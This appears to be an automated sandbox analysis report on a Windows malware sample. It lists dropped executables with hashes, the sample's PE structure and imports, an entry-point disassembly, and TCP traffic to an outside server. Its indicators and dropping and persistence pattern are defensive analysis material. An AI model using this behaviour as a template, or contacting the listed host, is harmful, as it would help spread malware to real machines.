Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....vL..........."...0..............5... ...@....@.. ....................... ............@..................................4..O....@..\............................4............................................... ............... ..H............text........ ...................... ..`.rsrc...\....@......................@..@.reloc..............................@..B.................4......H........#..`............3...............................................0..:........(.......(....(.....s......o.....(.......(....(.......+..".(.......0............ ...(....r...p......%.."...(.....(...........%. N..."....o....&. ....(........&.....&...(....r...pr5..pr9..p(..........%..'...(.....(....s..........%.r;..p.o....t.....+..*........B..Q.......0..7.........(.............,.....i(.....(.....o....&s .....(....o!...o"....s#......o$.....+...(%.........o&...o'.......((..

C:\Users\user\AppData\Local\Temp\D936.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	320512
Entropy (8bit):	6.685128709167328
Encrypted:	false
SSDEEP:	6144:BVMH4gQJqHQsl0yMo5DLaniwlnKh8MKxjDSmoETpqy:BVMY+lGiLlqKhexjpoEH
MD5:	9517CA2BC20EC061024C1209970CCD2E
SHA1:	5A3886349DEB4B7E6BA272304779C0C050BCDDCB
SHA-256:	07750C17A95131F145A3CD2418E0BBF031963537C7F2A1BCB4AEAB1D63EC8510
SHA-512:	51E289B0AC2F7D3083666B7707C415BE5EFC18CB8F4592288ADF768BF3990A6150A99F8B46FA283F74DE6D9556C9886303DA3E5D6A6B60E6BE0E086B2B230044
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.9.)~W.)~W.)~W.7,..3~W.7,..~W...,..~W.)~V..~W.7,...~W.7,..(~W.7,..(~W.Rich)~W.........PE..L...Q.._..........................................@............................................................................P.......(...............................................................@...............L............................text............................... ..`.data...............................@....lih................................@....cazelob............................@....pox................................@....rsrc...(...........................@..@.reloc..ZF.......H..................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\E3A9.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3576320
Entropy (8bit):	7.9976863291960605
Encrypted:	true
SSDEEP:	49152:Y+RSFqeQKgdJee+ntOkgd+TuRCg+687ZEYNFvKfDIcK8nAONaGGh:Yb8eQKg+tOV0T0z875NFKfDPK8nASA
MD5:	5800952B83AECEFC3AA06CCB5B29A4C2
SHA1:	DB51DDBDF8B5B1ABECD6CFAB36514985F357F7A8
SHA-256:	B8BED0211974F32DB2C385350FB62954F0B0F335BC592B51144027956524D674
SHA-512:	2A490708A2C5B742CEB14DE6E2180C4CB606FCCEB5F17DE69249CF532EDC37B984686B534A88AE861CC38471C5892785C26DA68C4F662959542458C583E77E38
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......a.................$...................@....@...........................S......!7.....................................\|.N. .... M...................................................................................................................... ..........................@................0......................@................@...z..................@............ ...0......................@...........x+...P......................@.............1.........................@....rsrc........ M......L0.............@....28gybOo......N.......1.............@....adata.......pS.......6.............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FB58.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	905216
Entropy (8bit):	7.399713113456654
Encrypted:	false
SSDEEP:	12288:KoXpNqySLyUDd48BpBIfj2ucA0ZeEbVkw+lMbguodE1z0oLxCZJ9tzj8kpcunn:KoO9FDZpBIMR/4Mzv2Jnp
MD5:	852D86F5BC34BF4AF7FA89C60569DF13
SHA1:	C961CCD088A7D928613B6DF900814789694BE0AE
SHA-256:	2EAA2A4D6C975C73DCBF251EA9343C4E76BDEE4C5DDA8D4C7074078BE4D7FC6F
SHA-512:	B66B83D619A242561B2A7A7364428A554BB72CCC64C3AC3F28FC7C73EFE95C7F9F3AC0401116AE6F7B41B960C323CC3B7ADAC782450013129D9DEC49A81DCEC7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 34%, Browse Antivirus: ReversingLabs, Detection: 77%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................g.....q.I....v....h......E....x.....f.....c...Rich..................PE..L....[._................. ...2.......0.......0....@..........................P\|......q......................................Xf..(....p.. ............................1..............................@Y..@............0...............................text............ .................. ..`.rdata.."?...0...@...$..............@..@.data...8....p.......d..............@....rsrc... .n..p......................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\krmdinzg.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\D936.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	10624000
Entropy (8bit):	3.8323533062805604
Encrypted:	false
SSDEEP:	12288:GVMY+lGiLlqKhexjpoEHQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ3:SIl0I4jq
MD5:	C8DE2E3F0DF5D9E1C126828B1444DBEA
SHA1:	568F6EDAFCFAA907DC199443324666D4F7BA6BFB
SHA-256:	B62D0D45AB934497D91566E94D2FA277A6726CEC40DD4D50CFEC6F898E43A538
SHA-512:	20BED97AB819B162DE12BCF7942B254339E5F263478781B272AF943DB03691EA8EC3F130AE97F72C0289DA0BA320929BEDFC900CAA4EDAB4B76FEB0661949014
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.9.)~W.)~W.)~W.7,..3~W.7,..~W...,..~W.)~V..~W.7,...~W.7,..(~W.7,..(~W.Rich)~W.........PE..L...Q.._..........................................@............................................................................P.......(...............................................................@...............L............................text............................... ..`.data...............................@....lih................................@....cazelob............................@....pox................................@....rsrc...(...........................@..@.reloc..ZF..........................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\jgdhbua Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	320512
Entropy (8bit):	6.688597828759442
Encrypted:	false
SSDEEP:	6144:zVMKim/rLWU5lbsbe8USFaX6EUNoO3Ez5B+D240obIIZfGd:zVMkfCeiFNbmOUFB+T0oXud
MD5:	31F0D01EE1FD6876668692791657D97E
SHA1:	A45A34A020AD13C9373BD14C45268004F505E1E1
SHA-256:	8FACF32116A5F68467C71032D3A207ABAA20FBCC56FCAB6A3DB650B4D30AD115
SHA-512:	7E737CFE1DB59AEF0BADA3184C059720EBB5744ADD725246E5A600E6CC1A3B6D0AA6B19EC6B90F5C1C1C0253D96B7A8C390594A9E0D14E35F45C9DBD1089917A
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.9.)~W.)~W.)~W.7,..3~W.7,..~W...,..~W.)~V..~W.7,...~W.7,..(~W.7,..(~W.Rich)~W.........PE..L.....`..........................................@.............................................................................P.......(...............................................................@...............L............................text...~........................... ..`.data...............................@....kipex..............................@....him................................@....hakir..............................@....rsrc...(...........................@..@.reloc..ZF.......H..................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\jgdhbua:Zone.Identifier Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe (copy) Download File
Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	10624000
Entropy (8bit):	3.8323533062805604
Encrypted:	false
SSDEEP:	12288:GVMY+lGiLlqKhexjpoEHQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ3:SIl0I4jq
MD5:	C8DE2E3F0DF5D9E1C126828B1444DBEA
SHA1:	568F6EDAFCFAA907DC199443324666D4F7BA6BFB
SHA-256:	B62D0D45AB934497D91566E94D2FA277A6726CEC40DD4D50CFEC6F898E43A538
SHA-512:	20BED97AB819B162DE12BCF7942B254339E5F263478781B272AF943DB03691EA8EC3F130AE97F72C0289DA0BA320929BEDFC900CAA4EDAB4B76FEB0661949014
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.9.)~W.)~W.)~W.7,..3~W.7,..~W...,..~W.)~V..~W.7,...~W.7,..(~W.7,..(~W.Rich)~W.........PE..L...Q.._..........................................@............................................................................P.......(...............................................................@...............L............................text............................... ..`.data...............................@....lih................................@....cazelob............................@....pox................................@....rsrc...(...........................@..@.reloc..ZF..........................@..B................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1572864
Entropy (8bit):	4.237236426202636
Encrypted:	false
SSDEEP:	12288:FHIJeoqgeg5Fu/+BTQ9S1gTbMzZHogTtvN7r8XcfGa+2LXOU:lIJeoqgeg5I/+BjuM
MD5:	01943BF0494A56FD1AF5097441A3E2FC
SHA1:	4CF795A460778BD03A6A2749446779DDCDFCEC54
SHA-256:	862DA49FCA1E84DA44B0D9C45AD8508A03150FF8507F67620DB7AE11996AC6CB
SHA-512:	5779CCC50C91B4407A3E4DE37335B04E8D6DDC6276C5D75588E566975096EF057B444BD7AC22ACCD223AFF7FA79BB9FEF4475584DC3A76DD6C7DA54D33675DFC
Malicious:	false
Reputation:	unknown
Preview:	regfH...H...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm....}................................................................................................................................................................................................................................................................................................................................................Y.Z........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve.LOG1 Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	3.3450377575042998
Encrypted:	false
SSDEEP:	384:ybC5K5th4KgnVVeeDzei1NKZtjaT8GNwf3JC1M8I:i8KZg/eeDzesNYtjnGNwf2M8
MD5:	A2DE4322DAE6C2648B667D68B52FD8FF
SHA1:	B54F25C4DA3A3B828D3226F549164FDC540FF1B4
SHA-256:	F914769C1902117E0711746610EB7EE84F726B27CF539EC2B72214C58FD858EE
SHA-512:	3B53D772597F6654B54F9B8EC024DF9FAFD90BE702BB13FC3E1E95B257E165756388143DAD362F5CAA874DA6446180B6A42A287FBAC84D49FEE37628F3019259
Malicious:	false
Reputation:	unknown
Preview:	regfG...G...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm....}................................................................................................................................................................................................................................................................................................................................................Y.ZHvLE.N......G...........L..A..O."...~....................... ..hbin................p.\..,..........nk,.....}................................... ...........................&...{ad79c032-a2ea-f756-e377-72fb9332c3ae}......nk .....}....... ........................... .......Z.......................Root........lf......Root....nk .....}................................... ...............*...............DeviceCensus.......................vk..................WritePermissionsCheck.......p...

\Device\ConDrv Download File
Process:	C:\Windows\SysWOW64\netsh.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3773
Entropy (8bit):	4.7109073551842435
Encrypted:	false
SSDEEP:	48:VHILZNfrI7WFY32iIiNOmV/HToZV9It199hiALlIg39bWA1RvTBi/g2eB:VoLr0y9iIiNOoHTou7bhBlIydWALLt2w
MD5:	DA3247A302D70819F10BCEEBAF400503
SHA1:	2857AA198EE76C86FC929CC3388A56D5FD051844
SHA-256:	5262E1EE394F329CD1F87EA31BA4A396C4A76EDC3A87612A179F81F21606ABC8
SHA-512:	48FFEC059B4E88F21C2AA4049B7D9E303C0C93D1AD771E405827149EDDF986A72EF49C0F6D8B70F5839DCDBD6B1EA8125C8B300134B7F71C47702B577AD090F8
Malicious:	false
Reputation:	unknown
Preview:	..A specified value is not valid.....Usage: add rule name=<string>.. dir=in\|out.. action=allow\|block\|bypass.. [program=<program path>].. [service=<service short name>\|any].. [description=<string>].. [enable=yes\|no (default=yes)].. [profile=public\|private\|domain\|any[,...]].. [localip=any\|<IPv4 address>\|<IPv6 address>\|<subnet>\|<range>\|<list>].. [remoteip=any\|localsubnet\|dns\|dhcp\|wins\|defaultgateway\|.. <IPv4 address>\|<IPv6 address>\|<subnet>\|<range>\|<list>].. [localport=0-65535\|<port range>[,...]\|RPC\|RPC-EPMap\|IPHTTPS\|any (default=any)].. [remoteport=0-65535\|<port range>[,...]\|any (default=any)].. [protocol=0-255\|icmpv4\|icmpv6\|icmpv4:type,code\|icmpv6:type,code\|.. tcp\|udp\|any (default=any)].. [interfacetype=wireless\|lan\|ras\|any].. [rmtcomputergrp=<SDDL string>].. [rmtusrgrp=<SDDL string>].. [edge=yes\|deferapp\|deferuser\|no (default=no)].. [security=authenticate\|authenc\|authdynenc\|authnoencap\|

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.688597828759442
TrID:	Win32 Executable (generic) a (10002005/4) 99.83% Windows Screen Saver (13104/52) 0.13% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	ECD2MpEBSf.exe
File size:	320512
MD5:	31f0d01ee1fd6876668692791657d97e
SHA1:	a45a34a020ad13c9373bd14c45268004f505e1e1
SHA256:	8facf32116a5f68467c71032d3a207abaa20fbcc56fcab6a3db650b4d30ad115
SHA512:	7e737cfe1db59aef0bada3184c059720ebb5744add725246e5a600e6cc1a3b6d0aa6b19ec6b90f5c1c1c0253d96b7a8c390594a9e0d14e35f45c9dbd1089917a
SSDEEP:	6144:zVMKim/rLWU5lbsbe8USFaX6EUNoO3Ez5B+D240obIIZfGd:zVMkfCeiFNbmOUFB+T0oXud
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.9.)~W.)~W.)~W.7,..3~W.7,...~W...,..~W.)~V..~W.7,...~W.7,..(~W.7,..(~W.Rich)~W.........PE..L......`...........................

File Icon


Icon Hash:	c8d0d8e0f8e0f4e8

Static PE Info

General
Entrypoint:	0x41b4a0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x60A4EF0B [Wed May 19 10:57:15 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	6801e04a0c2ca60ac2497c0d8723846b

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
call 00007F6C9515778Bh
call 00007F6C9514A706h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov edi, edi
push ebp
mov ebp, esp
push FFFFFFFEh
push 0043DA98h
push 0041E680h
mov eax, dword ptr fs:[00000000h]
push eax
add esp, FFFFFF94h
push ebx
push esi
push edi
mov eax, dword ptr [00440354h]
xor dword ptr [ebp-08h], eax
xor eax, ebp
push eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
mov dword ptr [ebp-18h], esp
mov dword ptr [ebp-70h], 00000000h
mov dword ptr [ebp-04h], 00000000h
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [0040109Ch]
mov dword ptr [ebp-04h], FFFFFFFEh
jmp 00007F6C9514A718h
mov eax, 00000001h
ret
mov esp, dword ptr [ebp-18h]
mov dword ptr [ebp-78h], 000000FFh
mov dword ptr [ebp-04h], FFFFFFFEh
mov eax, dword ptr [ebp-78h]
jmp 00007F6C9514A847h
mov dword ptr [ebp-04h], FFFFFFFEh
call 00007F6C9514A884h
mov dword ptr [ebp-6Ch], eax
push 00000001h
call 00007F6C9515816Ah
add esp, 04h
test eax, eax
jne 00007F6C9514A6FCh
push 0000001Ch
call 00007F6C9514A83Ch
add esp, 04h
call 00007F6C951537E4h
test eax, eax
jne 00007F6C9514A6FCh
push 00000010h

Rich Headers

Programming Language:

[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[ASM] VS2008 build 21022
[LNK] VS2008 build 21022
[RES] VS2008 build 21022
[C++] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3e1c4	0x50	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x150000	0x8728	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x159000	0x1df8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x13a0	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x9100	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x34c	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3e57e	0x3e600	False	0.582117359719	data	6.96486152385	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x40000	0x10c988	0x1800	False	0.340657552083	data	3.47052178831	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.kipex	0x14d000	0x5	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.him	0x14e000	0xea	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.hakir	0x14f000	0xd93	0xe00	False	0.00697544642857	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x150000	0x8728	0x8800	False	0.594812729779	data	5.84048651179	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x159000	0x465a	0x4800	False	0.347710503472	data	3.69715033583	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
AFX_DIALOG_LAYOUT	0x157048	0x2	data	Dutch	Netherlands
AFX_DIALOG_LAYOUT	0x157040	0x2	data	Dutch	Netherlands
AFX_DIALOG_LAYOUT	0x157050	0x2	data	Dutch	Netherlands
AFX_DIALOG_LAYOUT	0x157058	0x2	data	Dutch	Netherlands
CIDAFICUDUROSOTAROM	0x156628	0x6c7	ASCII text, with very long lines, with no line terminators	Assamese	India
VIDIWAYAPENIGU	0x156cf0	0x2fa	ASCII text, with very long lines, with no line terminators	Assamese	India
RT_CURSOR	0x157060	0x8a8	dBase III DBT, version number 0, next free block index 40, 1st item "\251\317"	Dutch	Netherlands
RT_ICON	0x150740	0x6c8	data	Assamese	India
RT_ICON	0x150e08	0x568	GLS_BINARY_LSB_FIRST	Assamese	India
RT_ICON	0x151370	0x10a8	data	Assamese	India
RT_ICON	0x152418	0x988	dBase III DBT, version number 0, next free block index 40	Assamese	India
RT_ICON	0x152da0	0x468	GLS_BINARY_LSB_FIRST	Assamese	India
RT_ICON	0x153258	0x8a8	data	Assamese	India
RT_ICON	0x153b00	0x6c8	data	Assamese	India
RT_ICON	0x1541c8	0x568	GLS_BINARY_LSB_FIRST	Assamese	India
RT_ICON	0x154730	0x10a8	data	Assamese	India
RT_ICON	0x1557d8	0x988	data	Assamese	India
RT_ICON	0x156160	0x468	GLS_BINARY_LSB_FIRST	Assamese	India
RT_STRING	0x157920	0xe4	data	Dutch	Netherlands
RT_STRING	0x157a08	0x3bc	data	Dutch	Netherlands
RT_STRING	0x157dc8	0x6e6	data	Dutch	Netherlands
RT_STRING	0x1584b0	0x1a0	data	Dutch	Netherlands
RT_STRING	0x158650	0xd8	data	Dutch	Netherlands
RT_ACCELERATOR	0x157000	0x10	data	Dutch	Netherlands
RT_ACCELERATOR	0x156ff0	0x10	data	Dutch	Netherlands
RT_GROUP_CURSOR	0x157908	0x14	data	Dutch	Netherlands
RT_GROUP_ICON	0x153208	0x4c	data	Assamese	India
RT_GROUP_ICON	0x1565c8	0x5a	data	Assamese	India
None	0x157020	0xa	data	Dutch	Netherlands
None	0x157030	0xa	data	Dutch	Netherlands
None	0x157010	0xa	data	Dutch	Netherlands

Imports

DLL	Import
KERNEL32.dll	DeactivateActCtx, GetVersionExW, SetConsoleCP, GetConsoleAliasesLengthA, GetDefaultCommConfigA, FindFirstFileExW, GetDriveTypeA, FreeEnvironmentStringsA, SetProcessPriorityBoost, SetVolumeMountPointW, GetLongPathNameW, CopyFileA, TlsGetValue, GetConsoleCursorInfo, SetComputerNameExA, SystemTimeToTzSpecificLocalTime, FindAtomA, ReleaseSemaphore, CallNamedPipeA, CreateMailslotA, BuildCommDCBAndTimeoutsW, VirtualProtect, LoadLibraryA, LocalAlloc, TryEnterCriticalSection, GetCommandLineW, InterlockedDecrement, GetCalendarInfoA, DeleteFileA, CreateActCtxW, CreateRemoteThread, SetSystemTimeAdjustment, SetPriorityClass, WritePrivateProfileStringW, GetProcessHeap, GlobalUnWire, ReadConsoleOutputCharacterW, GetStartupInfoW, GetDiskFreeSpaceExA, GetCPInfoExA, GetWindowsDirectoryW, GetSystemWow64DirectoryW, GetLastError, GetProfileStringW, WriteProfileSectionW, GetProfileStringA, SetLastError, DeleteVolumeMountPointA, DebugBreak, lstrcmpA, ReadFileScatter, SetConsoleMode, GetVersion, GetSystemWindowsDirectoryW, GlobalFindAtomA, FindCloseChangeNotification, GetTapeParameters, SetMailslotInfo, InterlockedExchange, DefineDosDeviceW, FindVolumeMountPointClose, EndUpdateResourceA, WriteConsoleA, GetSystemTimeAdjustment, WritePrivateProfileSectionA, GetPrivateProfileStructW, GetFileAttributesExA, MoveFileW, GetVolumePathNameA, HeapUnlock, lstrcmpW, SetDefaultCommConfigW, GetExitCodeProcess, ResetEvent, GetThreadContext, MoveFileExW, GetProcAddress, GlobalLock, UnregisterWaitEx, BuildCommDCBW, PeekConsoleInputW, GetBinaryTypeW, CreateSemaphoreW, TransmitCommChar, WaitNamedPipeA, GetOverlappedResult, GetPrivateProfileSectionNamesW, FindResourceExW, EnumTimeFormatsW, GetLocalTime, CreateSemaphoreA, FreeEnvironmentStringsW, GetPrivateProfileSectionW, SetFileShortNameA, lstrcpyA, VerLanguageNameW, SetThreadExecutionState, SetSystemTime, LockFile, VerSetConditionMask, GetConsoleAliasA, FlushConsoleInputBuffer, FreeConsole, GetAtomNameW, GetConsoleAliasExesLengthA, WriteConsoleInputW, TransactNamedPipe, EnumDateFormatsA, SetCommState, FileTimeToLocalFileTime, _lopen, GetConsoleAliasExesLengthW, GetWriteWatch, GetModuleHandleW, WriteConsoleOutputCharacterA, GetConsoleMode, HeapFree, OpenMutexA, LocalLock, GetCommMask, SetEndOfFile, FindClose, CreateIoCompletionPort, SetFileApisToANSI, CancelWaitableTimer, GetProcessHandleCount, UnregisterWait, GetConsoleAliasesLengthW, GetCurrentProcessId, lstrcpynA, SetNamedPipeHandleState, GetCompressedFileSizeA, FindNextVolumeMountPointW, GetFullPathNameA, WriteProfileStringA, DeleteAtom, GlobalAddAtomW, AssignProcessToJobObject, QueryDosDeviceW, InitializeCriticalSection, Process32NextW, SetCurrentDirectoryA, GetBinaryTypeA, FindActCtxSectionGuid, TerminateProcess, MoveFileA, RaiseException, HeapValidate, IsBadReadPtr, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, GetModuleFileNameW, GetModuleHandleA, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, InterlockedIncrement, GetACP, GetOEMCP, GetCPInfo, IsValidCodePage, TlsAlloc, TlsSetValue, GetCurrentThreadId, TlsFree, Sleep, ExitProcess, SetHandleCount, GetStdHandle, GetFileType, GetStartupInfoA, QueryPerformanceCounter, GetTickCount, GetSystemTimeAsFileTime, GetEnvironmentStringsW, HeapDestroy, HeapCreate, VirtualFree, GetModuleFileNameA, WriteFile, HeapAlloc, HeapSize, HeapReAlloc, VirtualAlloc, RtlUnwind, InitializeCriticalSectionAndSpinCount, OutputDebugStringA, WriteConsoleW, OutputDebugStringW, LoadLibraryW, MultiByteToWideChar, GetStringTypeA, GetStringTypeW, WideCharToMultiByte, LCMapStringA, LCMapStringW, GetLocaleInfoA, SetFilePointer, GetConsoleCP, FlushFileBuffers, SetStdHandle, GetConsoleOutputCP, CloseHandle, CreateFileA
USER32.dll	OemToCharA
ADVAPI32.dll	GetFileSecurityA

Possible Origin

Language of compilation system	Country where language is spoken	Map
Dutch	Netherlands
Assamese	India

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2022 20:29:10.022617102 CET	49776	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:10.040724993 CET	80	49776	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:10.040833950 CET	49776	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:10.040967941 CET	49776	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:10.040987968 CET	49776	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:10.061697960 CET	80	49776	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:10.161679983 CET	80	49776	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:10.163666010 CET	49776	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:10.164652109 CET	49776	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:10.181844950 CET	80	49776	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:10.491770983 CET	49777	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:10.509166956 CET	80	49777	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:10.509269953 CET	49777	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:10.509358883 CET	49777	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:10.510267019 CET	49777	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:10.526633024 CET	80	49777	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:10.527496099 CET	80	49777	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:10.633177996 CET	80	49777	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:10.634684086 CET	49777	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:10.634809971 CET	49777	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:10.652122974 CET	80	49777	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:10.660783052 CET	49778	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:10.678258896 CET	80	49778	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:10.678359985 CET	49778	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:10.678431034 CET	49778	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:10.678451061 CET	49778	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:10.695811987 CET	80	49778	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:10.800823927 CET	80	49778	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:10.800962925 CET	49778	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:10.805845976 CET	49778	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:10.823174953 CET	80	49778	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:10.835488081 CET	49779	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:10.852793932 CET	80	49779	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:10.855110884 CET	49779	80	192.168.2.4	8.209.70.0
